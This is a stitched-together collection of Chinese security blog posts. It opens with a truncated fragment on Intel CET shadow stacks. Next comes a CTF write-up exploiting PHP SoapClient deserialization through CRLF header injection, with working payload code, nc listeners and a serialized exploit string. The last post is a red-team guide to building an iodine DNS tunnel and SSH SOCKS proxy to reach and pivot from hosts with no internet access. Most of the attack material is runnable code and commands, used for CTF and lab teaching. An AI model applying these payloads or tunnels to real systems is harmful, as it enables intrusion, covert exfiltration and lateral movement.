legacy machines such that programs compiled with ENDBRANCH new instruction conti IF EndbranchEnabled(CPL) & EFER.LMA = 1 & CS.L = 1 IF CPL = 3 THEN   IA32_U_CET.TRACKER = IDLE   IA32_U_CET.SUPPRESS = 0 ELSE   IA32_S_CET.TRACKER = IDLE   IA32_S_CET.SUPPRESS = 0 FI FI; ROP的落幕 —— shadow stack 针对于ROP攻击,intel的CET策略是采用一个影子栈,专门用来记录返回地址等信息。 具体工作原理就是: 当运行call指令时,会同时向用户栈和影子栈压入返回地址。而当运行ret指令时,会讲用户栈弹出的返回地址与影子栈中弹出的返回地址做一个比较,若不相同则抛出异常。 那么这个影子栈存储在哪里呢?intel专门为这个影子栈策略提供了相应的寄存器和指令,分别为SSP(shadow stack pointer)和影子栈操作指令: INCSSP – increment SSP (i.e. to unwind shadow stack) RDSSP – read SSP into general purpose register SAVEPREVSSP/RSTORSSP – save/restore shadow stack (i.e. thread switching) 具体的指令有哪些,这里我就没有细究,有兴趣可以翻阅intel文档。 https://binpwn.com/papers/control-flow-enforcement-technology-preview.pdf结语 从最初简单的栈溢出执行shellcode到ROP,再到堆溢出利用,花式劫持虚函数指针,轰轰烈烈持续了几十年的内存破坏漏洞似乎在最近可预见的未来要到一个尾声了。似乎后CET时代的黑客们只能投机取巧攻击一些老旧的未被CET保护的设备,防御的成本越来越低,而攻击的成本则越来越高。而漏洞的攻防战还没结束,测信道、逻辑漏洞等等目前还是没有一个统一有效的保护措施,学无止境,学吧。
SoapClient原生类在开发以及安全中利用
Soap模块的安装: PHP使用SOAP协议调用接口,需要安装soap模块插件,在使用之前使用phpinfo()方法输出判断安装的PHP是否已安装了该插件。 SoapClient原生类介绍: SoapClient采用HTTP作为底层通讯协议,XML作为数据传送的格式。 SoapClient原生类官方介绍如下: class SoapClient {    /* Methods */    public __construct(?string $wsdl, array $options = [])    public __call(string $name, array $args): mixed    public __doRequest(        string $request,        string $location,        string $action,        int $version,        bool $oneWay = false   ): ?string    public __getCookies(): array    public __getFunctions(): ?array    public __getLastRequest(): ?string    public __getLastRequestHeaders(): ?string    public __getLastResponse(): ?string    public __getLastResponseHeaders(): ?string    public __getTypes(): ?array    public __setCookie(string $name, ?string $value = null): void    public __setLocation(?string $location = null): ?string    public __setSoapHeaders(SoapHeader|array|null $headers = null): bool    public __soapCall(        string $name,        array $args,        ?array $options = null,        SoapHeader|array|null $inputHeaders = null,        array &$outputHeaders = null   ): mixed } 可以看到,根据以上代码,在新建一个SoapClient的类对象的时候,需要有两个参数,一个是字符串形式的wsdl,另一个是数组形式的options。而wsdl在开发中十分常见,在安全中用的比较少,因此接下来的的部分篇幅,将分为SoapClient在开发中的应用以及SoapClient在安全中的应用这两块。 SoapClient在开发中的应用 wsdl这参数之所以在开发中如此常用,是因为它能非常快速的调用现成接口。 用一个实例代码介绍一下wsdl参数: <?php    $url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";    $client = new SoapClient($url);    $params = array(        "qqCode" => "1043045300"   );    $result = $client->qqCheckOnline($params);    print_r($result); ?> 执行结果如下: stdClass Object (   [qqCheckOnlineResult] => Y ) 其中url中的值是QQ开放的WSDL接口,在这个接口中qqCheckOnline方法可以用来查询QQ是否在线 当然,也可以执行以下代码,查询QQ开放的WSDL接口还支持哪些类型以及方法: <?php    $url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";    $client = new SoapClient($url);    print_r($client->__getTypes());    print_r($client->__getFunctions()); ?> 执行结果如下: Array (   [0] => struct qqCheckOnline { string qqCode; }   [1] => struct qqCheckOnlineResponse { string qqCheckOnlineResult; } ) Array (   [0] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)   [1] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters) ) 根据上方的两个例子,我们对SoapClient原生类应该有了部分了解。 但是由于SOAP协议本质上其实还是HTTP协议,只是改变了传输过程中的内容为XML形式,而在实际开发过程中,更有些接口对于请求的HTTP头也做一些校验限制,因此需要设置HTTP的请求头以适应需求。 有关设置HTTP请求头的下面的篇幅会讲到。 SoapClient在安全中的应用 由于SoapClient原生类中包含__call方法,并且我们知道:当调用一个对象中不存在的方法时候,会执行call()魔术方法。 因此在CTF中通常会出现一种存在调用不存在的方法、并且需要我们伪造请求头的题目。 这种时候,SoapClient正好可以给我们解决问题。 下面拿一个例题来详细讲解SoapClient在CTF中是如何运用的。 首先题目是给了flag.php的源码,源码如下: $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); if($ip!=='127.0.0.1'){ die('error'); }else{ $token = $_POST['token']; if($token=='ctfshow'){ file_put_contents('flag.txt',$flag); } } 打开题目后,内容如下: <?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag(); 我们先审计flag.php,前半部分是对XFF头进行了处理: $xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); array_pop($xff); $ip = array_pop($xff); explode() 函数可以把字符串打散为数组。 array_pop() 弹出并返回 array 数组的最后一个单元,并将数组 array 的长度减一。 这三行代码实际上就是,将服务器得到的XFF的最后一个删除,留下的是倒数第二个。 假如我们有以下代码: <?php$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);print_r($ip); 当我们XFF传入以下内容: 127.0.0.1 #返回:空127.0.0.1,127.0.0.2 #返回:127.0.0.1127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2 接下来我们审计index.php的代码 <?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);//vip can get flag one key$vip->getFlag(); 可以看到对传入的vip参数进行反序列化,并且调用getFlag方法,显然此处没有类定义了getFlag这个方法,因此我们考虑利用SoapClient原生类调用未知方法后执行call魔术方法,然后构造请求读取flag.php 接下来,我们手动在本地做测试: 我们有如下代码,其中uri中的9998端口是为了和location中的9999端口做区分: <?php$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));$client->getFlag(); 然后我们nc监听9999端口 nc -lvvp 9999 刷新页面之后,可以得到以下请求内容: 仔细观察后,发现是一个POST请求,并且SOAPAction的值是可控的 但是仅仅依靠这一处,没有办法伪造整一个POST请求,因为Content-Type是xml形式的,并且后面的传输内容也都是xml形式的,一般情况下POST传递参数的格式都是表单形式的(application/x-www-form-urlencoded) 因此我们可以想办法伪造User-Agent头: 修改后的代码如下: <?php$ua = "Lxxx";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag(); nc监听后,得到的结果如下: 可以看到,User-Agent也被注入进去了,此时,User-Agent就成为了我们的可控参数 当User-Agent成为了我们的可控参数后,User-Agent下方的Content-Type也同样可以被伪造,利用\r\n换行即可伪造 再次修改后的代码如下: <?php$ua = "Lxxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));$client->getFlag(); 代码中有几个注意的点 因为$ua中用到了\r\n这两个换行符,因此要用双引号包裹 HTTP请求头之间的参数用一组\r\n分割即可 HTTP请求头与POSTDATA之间要用两个\r\n分割. 设置User-Agent时,应写成user_agent 同样的,nc监听后,结果如下: 其中紫色方框中的是有效的HTTP请求,因为我们设置了Content-Length的值为13,超出13个字符以外的都会被服务器丢弃,所以影响不大。 在本地测试完成了,接下来我们将相关参数修改与题目相对应。 修改后的payload如下: <?php$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));print_r(urlenco 得到结果: O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application% 然后传入payload: ?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+applica 这样flag就被写到了flag.txt中,访问之后即可拿到flag: 但是这题本身是可以直接访问flag.php页面,伪造请求头得到flag的。 不过当有了cloudfare代理,无法直接在本地伪造请求头时,就需要利用SoapClient类来构造请求。 实验名称:https://www.yijinglab.com/expc.do?ce=0fbc7585-56ba-4598-87ce-bd8e7504d00b
内网渗透之DNS隧道搭建(1)
前言 年初有幸参加了一次hvv,我主要负责内网渗透的部分,包括代理搭建,横向移动等等。那个时候,也是刚刚接触内网没两个月,赶鸭子上架的学了一下就上了战场。好在运气不错,通过weblogic的反序列化RCE拿到系统权限,后来发现了一个尴尬的问题,目标主机不出网,借助搜索引擎,大佬们都在用reGeorgh和Pystinger,这两款工具都是使用webshell来进行socks代理,进而穿透内网,后面确实也达到目的,进内网水了波分。回学校复盘的时候,发现还有一种更厉害的姿势。。。搭建DNS隧道。 DNS隧道介绍 DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意DNS服务器交流上了。 DNS隧道搭建工具推荐 DNS隧道搭建的工具有很多,包括iodine,dns2tcp,dnscat等,综合体验了一下,还是推荐大家使用iodine,非常的简单方便。 前置准备 因为我们需要在自己的VPS上使用DNS服务,所以得先配置一下域名,这里以腾讯云为例: 第一条A类记录,告诉域名系统,"dns.xxx.com"的IP地址是"175.xxx.xxx.xxx" 第二条NS记录,告诉域名系统,"dns2tcp.xxx.com"的域名由"dns.xxx.com"进行解析。 最后这条"dns2tcp.xxx.com"的DNS就会被"175.xxx.xxx.xxx"的主机(也就是我们的VPS),给解析掉。 配置完之后,可以ping一下dns.xxx.com,观察是否能ping通。 iodine进行隧道搭建 1.安装iodine,这里以Linux为例,如果是Windows系统,就下载安装对应版本的iodine即可。 apt-get install iodine 2.在VPS上运行iodine的服务端iodined,运行之后VPS上会多一个虚拟网卡地址: iodined -f -c -P d1m0n 192.168.0.1 dns2tcp.xxx.com -DD #-f:在前台运行 #-c:禁止检查所有传入请求的客户端IP地址。 #-P:客户端和服务端之间用于验证身份的密码。 #-D:指定调试级别,-DD指第二级。“D”的数量随级别增加。 #这里的192.168.0.1为自定义局域网虚拟IP地址,建议不要与现有网段冲突 #注意!填写的地址为NS记录 3.运行客户端iodine,这里使用kali,kali默认是安装好iodine的: iodine -f -P d1m0n dns2tcp.xxx.com  -M 200 #-r:iodine有时会自动将DNS隧道切换为UDP隧道,该参数的作用是强制在任何情况下使用DNS隧道 #-M:指定上行主机的大小。 #-m:调节最大下行分片的大小。 #-f:在前台运行 #-T:指定DNS请求类型TYPE,可选项有NULL、PRIVATE、TXT、SRV、CNAME、MX、A。 #-O:指定数据编码规范。 #-P:客户端和服务端之间用于验证身份的密码。 #-L:指定是否开启懒惰模式,默认开启。 #-I:指定两个请求之间的时间间隔。 两条命令,DNS隧道就已经搭好了,可以ping一下我们的VPS(ip:192.168.0.1)看一下,是否能通: 到此,我们的任务只完成一半,对内网渗透来说,我们肯定是要横向移动的。DNS隧道帮助我们出网,还需要再搭建一个socks代理便于我们横向移动,socks代理工具很多,这里介绍一个比较简单轻便的--ssh,ssh通常都用来登录远程主机,传输的内容全部经过加密处理,同样它内置了命令可以作为代理服务器使用。这里假设,我们把恶意DNS服务器作为跳板机,kali作为攻击机器,在kali这边配置一下: ssh -N -D 8080 user@192.168.0.1 #-N 指示SSH不要启动shell,因为我们只是想创建代理 #-D 设置动态端口转发,SOCKS代理端口为8080 #user 我们服务器上的用户 #192.168.0.1 tun接口上的iodine服务器 输入完VPS的ssh密码之后,就开始进行转发,这里配置一下proxychains4 vim /etc/proxychains4.conf 最后验证一下我们的代理有没有搭好: proxychains4 curl http://www.baidu.com 大功告成,后面就是内网漫游时间~ 实验名称:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014111916340800001